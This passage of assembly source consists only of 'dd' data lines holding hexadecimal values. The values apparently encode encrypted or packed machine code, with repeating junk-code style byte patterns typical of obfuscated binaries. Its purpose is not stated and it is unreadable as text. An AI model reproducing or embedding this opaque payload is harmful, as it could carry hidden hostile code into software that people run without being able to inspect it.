		dd 9ED1DC47h, 8AEF2E4Dh, 3BA3F7A5h, 6756473Ah, 0F3E0EC39h
		dd 10FA4BACh, 0D79002h,	32FD0D9Fh, 9D10473Ah, 5C9BA15Ah
		dd 1E66BED9h, 6DAA8FC2h, 29F3211Eh, 4918C9E6h, 26722A0Fh
		dd 0CB4118CEh, 0F253F25Ah, 0F4E2A1Ch, 345558D1h, 609ED253h
		dd 189C7C8Ch, 611A9141h, 4B891445h, 52CA2F08h, 41182506h
		dd 0E236E6EBh, 17411825h, 680465A4h, 41182540h,	3BDA06B5h
		dd 0F29D9AEFh, 0BFE50055h, 59A65Dh, 3A36536Ch, 1DF1BC4Fh
		dd 2C0E1B8Fh, 0ED3221C2h, 2887108Ch, 45688C2Fh,	0B0FFF410h
		dd 8D03C557h, 9F1E8245h, 7A7D897Ah, 195BA1CBh, 0F39996FBh
		dd 0DBD82148h, 244794B3h, 70CBB1F8h, 618E7E86h,	77CADB2Ah
		dd 0D3h, 2A45FE8Fh, 5EA996E5h, 0F6112E51h, 6C87C0C9h, 85EC5B23h
		dd 48AC3A5h, 97E32C47h,	285041A8h, 0C1CBF41Fh, 93E46F86h
		dd 1F8EF119h, 0B66E2441h, 1F2C525Fh, 4871AFCEh,	0AAAAFB44h
		dd 2C1B64B9h, 42A78CEDh, 3A3B9EAAh, 0E4387347h,	18481142h
		dd 105D2649h, 280ADEFFh, 0AE0D0458h, 317E7547h,	105344D8h
		dd 713C4F3Fh, 0C27D0F2Ch, 2D1666ABh, 0B1BB2CF8h, 12DFF973h
		dd 152E5ED6h, 0CD1D8FF4h, 201974F6h, 30C578Dh, 0E434E879h
		dd 91974F6h, 2564E3ACh,	70A5A2ECh, 8CA1F235h, 3B1142FDh
		dd 97A3795Eh, 8A1974F6h, 0BEFD4201h, 0C3618762h, 0F3B334B9h
		dd 762D3AEFh, 0BAC5D237h, 68B06C8Dh, 8D197483h,	0A091F22Eh
		dd 2F3263DCh, 3, 7773CB17h, 0C3E83D06h,	105D8EB9h, 618EDF68h
		dd 0B4F92A19h, 3287DCAh, 529FCC7Bh, 0A2CF1C27h,	0F03D6EDDh
		dd 696FBC8Bh, 81E68956h, 4C6h, 4EE8300h, 5C243487h, 53240489h
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 0C895C24h,	0E0895024h
		dd 405h, 42D00h, 4870000h, 34895C24h, 0ABD66824h, 0C8B0625h
		dd 4C48124h, 68000000h,	2CD2h, 81242489h, 42404h, 575E0000h
		dd 7E89CF89h, 243C8B08h, 4C481h, 348B0000h, 0E0895024h
		dd 405h, 40500h, 4870000h, 34FF5C24h, 0C4815924h, 4, 0FCCB66E9h
		dd 7E1F98FFh, 0F0B8A76Fh, 30625B6h, 0D8E0FFC5h,	5E46CC44h
		dd 0E635089Fh, 0F7439875h, 5B2DC5DCh, 0F61AE1E5h, 8C389F9Ch
		dd 6E63D0D7h, 547DB833h, 0F872FB97h, 0C67E5F4Dh, 0EE2E6CE7h
		dd 1C2BE025h, 8D07515Fh, 1C4B1A80h, 0DA5878DCh,	926375D7h
		dd 0AC2AF315h, 0BE6D8003h, 355CA803h, 84291186h, 8A7AA93Ch
		dd 0E951FACFh, 162DF67Eh, 0EB323442h, 251C8F4Fh, 0A108ABFAh
		dd 0A4ACDAC6h, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h, 29B327CEh
		dd 0DD5B34D1h, 17E62AC7h, 34DF1BCEh, 0A6DB67h, 4A5C61h
		dd 0D5A3EA1Ah, 0
		dd 0FEBD199Ch, 0FE3B0000h, 0FBh, 52DDB487h, 9ED92023h
		dd 77E7339Ch, 1288E9h, 83FE8B00h, 2200F5BDh, 850F0006h
		dd 61h,	0B8EEF680h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0F8C35747h
		dd 6A0004C2h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 7A50C357h, 0A7D9F3C3h,	10E8h
		dd 0C0B6FC00h, 4A3D0352h, 9F4B78B1h, 0C00B5218h, 0CFBF0F91h
		dd 6AC08B5Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 3C6FC353h, 425C6DF0h, 2631958Bh
		dd 95890622h, 6221A91h,	8DDBD83h, 75000622h, 21BD8309h
		dd 6220Ah, 53501374h, 0D0B8C08Bh, 8D000004h, 24BD9D9Dh
		dd 5BD3FF06h, 21BD8358h, 6220Ah, 53501174h, 4D0B8h, 0EA9D8D00h
		dd 0FF0624BCh, 8B585BD3h, 2232918Dh, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0B9D4704h
		dd 5FEA80E5h, 6060C08Bh, 0E78166FCh, 0F861D992h, 30858D61h
		dd 810625B8h, 154DE4C1h, 0BF665019h, 489B490h, 0D58D8B24h
		dd 8D062220h, 25B7ED85h, 0D9C5BF06h, 0ED80256Dh, 0BA66500Bh
		dd 4890D01h, 53006A24h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 860F7A09h, 4, 7E87B966h, 163595FFh
		dd 0E9500622h, 7, 2DFF0374h, 5A8E88A8h,	424448Bh, 25798D23h
		dd 85890622h, 625B818h,	0FFB70F52h, 24448B5Ah, 52006A08h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 336E05E2h, 6FFCC26Fh, 3EBA6615h, 0CABF0FBCh,	0B82C8589h
		dd 6A0625h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0C70E4AC3h, 0FA8F07E5h, 12E9h, 0F30B6300h
		dd 0EE8929A1h, 247F1B1Dh, 0AA0F6E69h, 832F4736h, 221F45BDh
		dd 850F0006h, 0C7h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 77C35747h, 63F9BB9Dh,	89B4EC57h, 2212A99Dh
		dd 985C606h, 47062233h,	7E9h, 126C3F00h, 0D9BD2E0Fh, 5CDD1068h
		dd 5E960h, 3B170000h, 81D6C09Ah, 0CAC22404h, 0B5FF743Dh
		dd 6222649h, 7DBE858Dh,	0BD8B0625h, 6221319h, 68E0Fh, 958B0000h
		dd 622184Dh, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 74549AC3h, 6810F4Dh, 8B000000h
		dd 22118195h, 45858906h, 6A06221Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0A9E5C353h
		dd 0F1BD89F5h, 8306222Fh, 22030DBDh, 850F0006h,	0A0h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 83C35545h, 462EB6F2h
		dd 3F27CA05h, 330985C6h, 89470622h, 2207C58Dh, 5176806h
		dd 12E8AE9Bh, 0C7000000h, 687961CAh, 8C50A3BDh,	38D76180h
		dd 71A32C26h, 5250536Eh, 585A310Fh, 34815959h, 94B0F524h
		dd 61C3BA24h, 0B5FF4369h, 6222649h, 858D0FB2h, 6257DBEh
		dd 0AF18166h, 0FD0FFBEh, 586h, 0C2816600h, 0F7818C06h
		dd 40B7F874h, 30D8589h,	0DE90622h, 15000000h, 0B9CFAD92h
		dd 1D8C9BB6h, 5EA833A1h, 1E61BD83h, 0F000622h, 0B285h
		dd 29BD8B00h, 0C6062202h, 22330985h, 6A5606h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 4531AC3h
		dd 47413C6Eh, 8B8D0EF0h, 2210C5BDh, 679A6806h, 6E9E8E0h
		dd 70000000h, 0B89E8D36h, 24348109h, 3CFF0AA3h,	1CED9D29h
		dd 85890622h, 6223109h,	2649B5FFh, 6A0622h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0B418A1C3h
		dd 10758589h, 858D0622h, 6257DBEh, 2CF58D03h, 0D0FF0622h
		dd 1DD18D01h, 85890622h, 6221E61h, 0EE9h, 0A7B25200h, 0CB1E7C84h
		dd 0BD35411Ah, 0C67D32AEh, 22330985h, 92686C06h, 8B9DC0B5h
		dd 243481C8h, 46C5C511h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 18h, 0C9C35141h, 0FA831ABDh, 0DE9h, 0E37C900h
		dd 502D576Ah, 0E46CD956h, 0B5FF87CEh, 62233A9h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 5CC35747h, 0F7E0FE2h
		dd 0E981CBB7h, 51C1BB5Ah, 6E8h,	0FCE5DA00h, 0FC4253D8h
		dd 0F1858D5Fh, 0FF06223Ah, 7D8589D0h, 89062215h, 25B81C85h
		dd 8D8B6006h, 6221191h,	49BD8B52h, 5E062233h, 38BD8361h
		dd 625B8h, 11F850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 66D493C3h, 0FA856BFh
		dd 58Ch, 5CF8BA00h, 85C612AEh, 6223309h, 56006A49h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 2D35B1B1h, 68F9B70Fh, 5A09539Ah, 481D68Bh, 0BD64F24h
		dd 8D316032h, 62231C9h,	26A5B589h, 0FF610622h, 2233A9B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 605ED287h, 6880Fh, 858B0000h, 6223551h
		dd 8E8h, 8D800800h, 833B8EB8h, 5F6160A5h, 15800F61h, 0E8000000h
		dd 0Dh,	9E18DB7Ah, 0F94A75DDh, 0D28985BCh, 5F616000h, 3AF1858Dh
		dd 12E90622h, 38000000h, 9A0B1CACh, 0B0CFAE30h,	189AA37Fh
		dd 0D540D147h, 8BD0FFF4h, 2214A58Dh, 38858906h,	6A0625B8h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 3DCEC351h, 890A7167h, 2229699Dh, 66046A06h
		dd 0BD29D08Bh, 62231E9h, 4E8h, 100000h,	94B15000h, 424448Bh
		dd 0BE525060h, 313686F1h, 0DA8B310Fh, 0BF66585Ah, 8B616606h
		dd 895F5700h, 0E8042444h, 14h, 13C4339Dh, 0D293C111h, 0E00DFBD2h
		dd 0F622137Fh, 0AFC66B85h, 12E960h, 0FD7D0000h,	0A735F3DFh
		dd 641D2181h, 0DFCAAD6Fh, 0F81A3066h, 8EE9B966h, 9585F61h
		dd 220E9D95h, 4E806h, 0
		dd 0D38B0001h, 5E950h, 1CE90000h, 8BBC3496h, 66042444h
		dd 8B263EBAh, 0AE800h, 39350000h, 10F4B8C3h, 75F39FECh
		dd 1002BB60h, 8B6610AEh, 895F61D7h, 66042444h, 6A58CE8Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 2E3EC352h, 0A15BE87Eh, 6AF19B81h,	0F1816600h
		dd 95FF0D4Ah, 62220EDh,	41DB529h, 85890622h, 625B828h
		dd 1A19D89h, 85C70622h,	625B820h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 16C35646h
		dd 0AB92C181h, 6A5B29h,	5E8h, 0E852CF00h, 0BD8B8E1Fh, 6220B41h
		dd 535E685Fh, 0B966BD25h, 481E5C4h, 0DBACA224h,	57006A42h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 9063320Ch, 0C9AF98B9h, 0BA665027h, 6A9004CEh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 9AE9C355h, 60F8F8C6h, 10E9h,	0DF4D300h, 4DCE8AB3h, 6A68400Eh
		dd 5C0F3021h, 0FFBF0FE4h, 6A0B6A61h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0F6AAC355h
		dd 24359589h, 8B560622h, 22086D95h, 858D5F06h, 625B7F5h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 3CC35747h
		dd 0A8228547h, 0C80DF317h, 304DBD89h, 51900622h, 0AE8h
		dd 0E1CF4500h, 8A71E796h, 51376B74h, 5059595Fh,	4B90B966h
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 142DB35Eh, 32E1931Eh, 30859501h,	95FF0622h
		dd 6221F45h, 13A5958Bh,	0B58D0622h, 625B7FFh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0CC35545h, 0E7B61DEBh
		dd 4FC3B651h, 0C18D89C1h, 50062205h, 6E9h, 25EFB500h, 5F8D15A5h
		dd 4D59589h, 60960622h,	596652BBh, 61CE8A11h, 0D08B6650h
		dd 1D958996h, 50062202h, 489FB8Bh, 0A7C28024h, 30D95FFh
		dd 85310622h, 6220F85h,	850FC00Bh, 3Eh,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 19h, 37C35646h, 358DD79Ch
		dd 4890F91h, 66000000h,	6665FFBAh, 1DFBF781h, 6E7E9h, 0F98B6600h
		dd 0F7DBD89h, 0D0FF0622h, 78B799BFh, 28B58B24h,	8B0625B8h
		dd 20468DCFh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Bh,	0FBC35646h, 0E5CC2AD2h,	0F4EABFEh, 8166D6BFh, 0F51715C1h
		dd 8589046Ah, 6221835h,	158D8953h, 5F062201h, 24048950h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0E9C35343h
		dd 0BD0B2E1Eh, 6221C41h, 0B83895FFh, 6A0625h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 69185CC3h
		dd 0D619DDDAh, 0BC7B5F7h, 10840FC0h, 2B000000h,	221A39BDh
		dd 62AE906h, 0B4BA0000h, 805725ACh, 0F00207Eh, 61B84h
		dd 0CF8B6600h, 29958960h, 8D062216h, 8D892046h,	6221D55h
		dd 0B8248589h, 6A0625h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 80B0EAC3h, 9C4057B9h, 196E949h
		dd 8B660000h, 6A40CBh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0AA5E34C3h, 0E78192BFh, 0FF3AE4Eh
		dd 850F90F5h, 4, 6EA6BA66h, 60525050h, 8B666160h, 310F61FAh
		dd 6A90585Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 77DDC351h, 11E8ABh, 34BF0000h
		dd 616DDF17h, 4D7C29FAh, 41FA49E4h, 53878115h, 6E9h, 3BB7F500h
		dd 599CBC7Ah, 6A046A5Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0FF1CC355h,	83B1F70Ch
		dd 14E9509Bh, 0
		dd 0B52832BBh, 65BE710h, 41016941h, 322908D2h, 89A0E3BEh
		dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 5E78AEC3h, 0A9858906h, 0F06220Eh,	95FFD7BFh
		dd 625B838h, 3800Fh, 0BF0F0000h, 60D88BD2h, 2BD18157h
		dd 5F6D325Fh, 61CF8B66h, 50006A58h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 863A02E8h, 0D64CB7F0h
		dd 0DB0BA74Ch, 5A840Fh,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 768AABC3h, 0BBE5F38Fh
		dd 629BD8Bh, 71E90622h,	6A000004h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0FAAEC351h
		dd 25439360h, 9EB3C1B1h, 9D89BEB1h, 6222831h, 0F003880h
		dd 0FFFE6485h, 37E9F5FFh, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 9A5C356h
		dd 81069BE0h, 8BFABF0Fh, 2228DD95h, 6E84806h, 62000000h
		dd 2DCD24E3h, 853B5F7Eh, 625B824h, 74820Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0D883DC3h, 15C9267Fh, 566535F9h, 1601B501h, 295A0622h
		dd 2226559Dh, 5C388006h, 38840Fh, 80F50000h, 850F2F38h
		dd 0FFFFFFA1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0FDC35545h, 9F2B33EAh, 890FDE38h, 6, 15858D8Bh
		dd 0E8400622h, 0Dh, 0BC9F0F89h,	91703273h, 0A2121192h
		dd 618D898Eh, 5F06221Ah, 0B82CBD83h, 0F000625h,	18E84h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 613E81FAh, 81662725h, 508DE4DFh,	489FA8Bh
		dd 11E95024h, 49000000h, 90EC53A2h, 0E527B007h,	7134F1A7h
		dd 25FFCB59h, 2C85035Ah, 30625B8h, 221131BDh, 60609006h
		dd 61606160h, 61D98B61h, 780DB950h, 6A900FCEh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 5E6EC357h, 52BD513Ch, 66046AFEh, 32BAC181h, 0D38B6650h
		dd 0FF240489h, 25B83895h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 554254A8h
		dd 0E4D8D8Bh, 0D88B0622h, 2D1D950Bh, 6A580622h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 997BC351h, 38F98E46h, 890445E8h, 222C45B5h, 0FDB0B06h
		dd 4D84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 8B666C7Fh, 0D18166D3h, 35E9617Eh
		dd 6A000002h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 74FCC350h, 6D958Bh, 0C60622h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 870A0B2Ch, 89344558h, 221B558Dh,	6A5806h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 5009B5C3h, 6CA495B9h, 24048961h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 6CC35545h, 1DF00CEAh, 0E58589BDh
		dd 6A062219h, 518D8B1Eh, 9006221Bh, 0EE9h, 696C2C00h, 0C5845E46h
		dd 91715C6Ah, 50395FA1h, 860Fh,	80900000h, 95FF68E2h, 625B838h
		dd 6800Fh, 85890000h, 622114Dh,	0B70FD88Bh, 9D8958F8h
		dd 622142Dh, 840FDB0Bh,	2Fh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0F5C35141h,	0C98166B7h, 25E9D91Dh
		dd 53000001h, 0F18D2B5Fh, 90062200h, 58A0Fh, 9ABA0000h
		dd 5070F7BAh, 0B9665250h, 310FC407h, 5ACF8B66h,	0CA8B9058h
		dd 0B818B5FFh, 6A0625h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0FC9FDC3h, 1783h, 0BE800h, 53090000h
		dd 0FCA02CBDh, 0C007E045h, 85BD8BBDh, 59062219h, 0B81C95FFh
		dd 0BD890625h, 6220E4Dh, 0FA21B966h, 850FC00Bh,	67h, 61CEB70Fh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0EAC35545h
		dd 1C12FF7h, 31958969h,	0C7062220h, 25B82085h, 106h, 85952900h
		dd 0E906221Fh, 68h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0DDC35242h, 7AB50A61h, 0F98B3F76h, 61FA8B66h
		dd 1BC9BD8Bh, 0C6810622h, 11Ch,	0CE9h, 5EB8BD00h, 719E64C6h
		dd 8D9EA03h, 0F94FE9F6h, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0F810A0C3h, 5B6C1268h
		dd 8E951h, 0B5A20000h, 69E087A2h, 34812CB2h, 5BEC1224h
		dd 0ADBA6051h, 29363BFDh, 220EDD8Dh, 6A6106h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E5C35040h, 90B81B1h
		dd 0F8B33BDEh, 7AC9805Fh, 0B828B5FFh, 6A0625h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 744458C3h, 7E9h, 0B764E500h,	5C9E4910h, 1E6195FFh, 6A0622h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 858510C3h, 474D31F8h, 0FE9CCh, 0E43E0000h, 32B6EE40h
		dd 0D6419D55h, 5323BCEFh, 20858BFFh, 10625B8h, 2231B9BDh
		dd 0F98B5006h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 8DB4C355h, 25B83085h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 7A99F704h, 0C4500B42h, 0E85350DEh, 8, 0B23EE046h
		dd 4142C89Bh, 4895959h,	56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 71285E82h, 0DE9E5h, 54C10000h
		dd 66265235h, 1BC3A259h, 8DBECC55h, 25B7ED85h, 1953106h
		dd 90062216h, 13E9h, 17DE4D00h,	2316B3D9h, 715D6Dh, 0BB17A04Dh
		dd 8B05C1CBh, 908DB150h, 95FFCF8Bh, 6220FF9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0D3C35141h, 80119046h
		dd 0A58D897Ch, 8B06221Ch, 0B6B966C0h, 0DDBD8325h, 62208h
		dd 0BD830975h, 6220A21h, 50137400h, 0B8C08B53h,	4D0h, 0BE049D8Dh
		dd 0D3FF0624h, 0BD83585Bh, 6220A21h, 50117400h,	4D0B853h
		dd 9D8D0000h, 624BD03h,	585BD3FFh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 37C35040h, 99958B18h, 6A062231h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 9107C356h, 5AB9ABFFh, 0EF13BDBAh,	7E972h
		dd 834C0000h, 0D0919E04h, 0E8C08B9Dh, 7, 0D0FD14BAh, 0F1FB789h
		dd 5859D0B7h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 15h,	0B0C35343h, 0D18B666Dh,	660008C2h, 8B9072BFh, 8DC08BCEh
		dd 25B84385h, 11BD8906h, 8906222Ah, 221C0985h, 39EB06h
		dd 0CC00BC00h, 0E400BC02h, 0BC02h, 0DB000000h, 90449246h
		dd 82758B4Ah, 82219A42h, 974C9146h, 114D9B01h, 0FA75B12Fh
		dd 1121B363h, 0CA51B05Bh, 0A549AB41h, 0EB459E4Ah
		dd 9FE1744Fh, 0F9C9A82Fh, 5D21FF2Fh, 377E3C70h,	0DE25DB53h
		dd 0B225DB6Bh, 9021FF2Fh, 5EE03C78h, 0AECEF420h, 7BBF0BA1h
		dd 0CD37E49h, 639C7CC5h, 5F27DD27h, 12A2F65Ah, 0D103F50Eh
		dd 0BB388B2Fh, 4DE1747Ch, 0FA21FB96h, 66187AA6h, 23ACF90Dh
		dd 590540E6h, 0F77A2CD0h, 0DD0042ACh, 9F21F90Dh, 4D72AF38h
		dd 0FA21FB96h, 66187AA6h, 23ACF90Dh, 59054397h,	0F77A2CD0h
		dd 3F76FF45h, 0EB21FF2Ch, 0AAE2A00Fh, 0FE0583A6h, 7905BBAEh
		dd 0BE21FF37h, 29E2A868h, 39C770ECh, 0E7006226h, 0E2C8F90Dh
		dd 0C121FF2Fh, 9D4471D5h, 0FB8F76C6h, 9B144AA4h, 9FAAF90Dh
		dd 69EB7449h, 0F512F6AAh, 0EB4BA929h, 0F522177Fh, 0A201FF2Fh
		dd 39A8A7ECh, 0FAA0FB0Bh, 5F39FB0Bh, 0FF61FF2Fh, 0AA8C37ECh
		dd 0EFC920D2h, 0A721FF2Fh, 45BD5797h, 13224242h, 35DF747Fh
		dd 0B725DB6Bh, 0AF21FF25h, 0C0831AA7h, 0B16A0AA2h, 1C71AEF7h
		dd 0FA21FF24h, 8698154Ch, 0EA7C710Dh, 1B850Eh, 1A217476h
		dd 0F36576D2h, 0EB2F172Bh, 84FAFF2Fh, 626CF779h, 1F0827ADh
		dd 4EEE11E4h, 5F237120h, 67AAFF2Fh, 5741A771h, 1440C2C0h
		dd 0D707B69Ah, 0AA219529h, 7D21FCC7h, 7D79DF2Fh, 7B657677h
		dd 8B657E2Bh, 0D721E22Bh, 2871BF2Fh, 1E336F1Eh,	31F3BDC4h
		dd 0C3479C51h, 3BACBAC3h, 59048291h, 7FDEA57Dh,	3F74FF45h
		dd 0EB21FF2Ch, 0A8E2A20Fh, 0FE0593A6h, 7905BBAEh, 0BE21FF38h
		dd 7AE2AA6Ah, 47DC7DE8h, 0D721FF24h, 87643F10h,	0C31B6D9Fh
		dd 9A8C48F8h, 6EFC4A26h, 2BAAF90Dh, 5903EFCEh, 0CC9BA04Eh
		dd 0BD43A022h, 0FEACF42Bh, 1D27DD0Eh, 0FA21FF2Bh, 7D21EF2Fh
		dd 0BE21FAC7h, 1EF1DA2Fh, 0FF7BADBCh, 6673AF79h, 8D10F09Ch
		dd 0AD7B06A4h, 0DE657471h, 0F6EE742Bh, 4DAA992Fh, 5B05BBA6h
		dd 0ACADF04Fh, 0B121FF2Fh, 0B97131A4h, 0C42E5A9Dh, 31804449h
		dd 2540A775h, 0BE217E20h, 0B5ABFF2Fh, 797D8947h, 0D3A0F062h
		dd 8D21FF2Fh, 74501E90h, 0A4BBDB1Bh, 7D4BB2F9h,	0BE221778h
		dd 1FF2Fh, 0D3A8A0ECh, 93A0FB0Bh, 0EB3AFB0Bh, 0A266FF2Fh
		dd 2A69BDECh, 18883D05h, 0BE2A1637h, 0AB2AFF2Fh, 703FD76Ah
		dd 0B09FB145h, 0E4219597h, 25DE0E90h, 1270FF45h, 7D21FF2Ch
		dd 0E7E2A60Fh, 5B05B3A6h, 0AB05BBAEh, 0D721FF35h, 72E2AE6Eh
		dd 5D1F63Ah, 0F2C870DEh, 0B021FF2Fh, 101784Dh, 0D6C77867h
		dd 8AEB20AAh, 97E07F29h, 272407A4h, 7C21FF2Dh, 0DFEB1CAAh
		dd 65E17C29h, 74C67AA6h, 9F12F90Ah, 0AF231396h,	0BD8B0C2Fh
		dd 0E8C9AD2Fh, 0D521FF2Fh, 737B3C75h, 0FC25DB7Bh, 0A925DB6Bh
		dd 1D21FF2Fh, 0A9DA3C7Dh, 5647D0CEh, 2D3DC4FEh,	0D712F6AAh
		dd 0C29EBC29h, 15449BBBh, 8F228A5Ch, 199D4549h,	4405FBAEh
		dd 5C4A9CDAh, 0C93E4692h, 0A47629h, 527DD33h, 5F07B69Ah
		dd 0EC219529h, 5F21FCC7h, 6C7BDF2Fh, 0F3757675h, 0CF657E2Bh
		dd 0F521EB2Bh, 3973BD2Fh, 0F0224D4Fh, 9B5C41AAh, 9219529h
		dd 0AF21FCC7h, 147FDF2Fh, 0CF557671h, 0D1657E2Bh, 0FA21E52Bh
		dd 0BE77B92Fh, 0E205BBA7h, 39BB32C4h, 67AB34A4h, 0BE972FD0h
		dd 0E8247AA6h, 4A47F90Dh, 7FAC505Eh, 7B03FC6Ah,	0BE21FAC6h
		dd 5816F72Fh, 2AA86BDEh, 0D103CA7Ah, 10BA4049h,	0C6287AE9h
		dd 7372F90Dh, 5F2192AAh, 0BE251729h, 17F9FF2Fh,	7FAA039Eh
		dd 582EAC7Fh, 0EB21FF2Dh, 7E7E8099h, 0AB25DB6Bh, 0BAAA994Fh
		dd 0BEAAA54Eh, 0D6D17449h, 4725DB6Bh, 0D721FF23h, 7D1D2A77h
		dd 0FB02763Bh, 0FB4A61D1h, 0E59F997Eh, 0E67EA57Ah, 0B771FF45h
		dd 0AF21FF2Ch, 8FE2A70Fh, 0EF05BBA6h, 0F105BBAEh, 0FA21FF36h
		dd 0E2E2AF6Fh, 3156229h, 39E99B8h, 0E69400D9h, 0BD27DD09h
		dd 0E8C9AC2Fh, 0D521FF2Fh, 737A3C74h, 0FC25DB73h, 0A425DB6Bh
		dd 1C21FF2Fh, 0ED493C7Ch, 9531958Eh, 6ACFC96h, 0FC27DD33h
		dd 0D8205EBAh, 0C3A47229h, 3527DA52h, 7D32D29Ah, 0C5F10029h
		dd 0D4C9AE2Fh, 0CB21FF2Fh, 7C783C76h, 7B25DB63h, 6725DB6Bh
		dd 0FF21FF2Fh, 6D373C7Eh, 1BDB65DAh, 0F39E999Ch, 9EA476C1h
		dd 9F27DD1Fh, 0F9C9AF2Fh, 5D21FF2Fh, 37793C77h,	0DE25DB6Bh
		dd 0B325DB6Bh, 9721FF2Fh, 0EF273C7Fh, 0D4A5855Ch, 73B08A25h
		dd 5F117A9Ah, 0B7A43929h, 0C27DD1Ch, 87D44A2Eh,	0D3C9F90Dh
		dd 5821FF2Fh, 93F9E7EBh, 0AAB8A591h, 679A474Fh,	3540F14Ch
		dd 0D425DB6Bh, 0AF28162Fh, 0DA12FF2Fh, 429D02A7h, 7CD58F80h
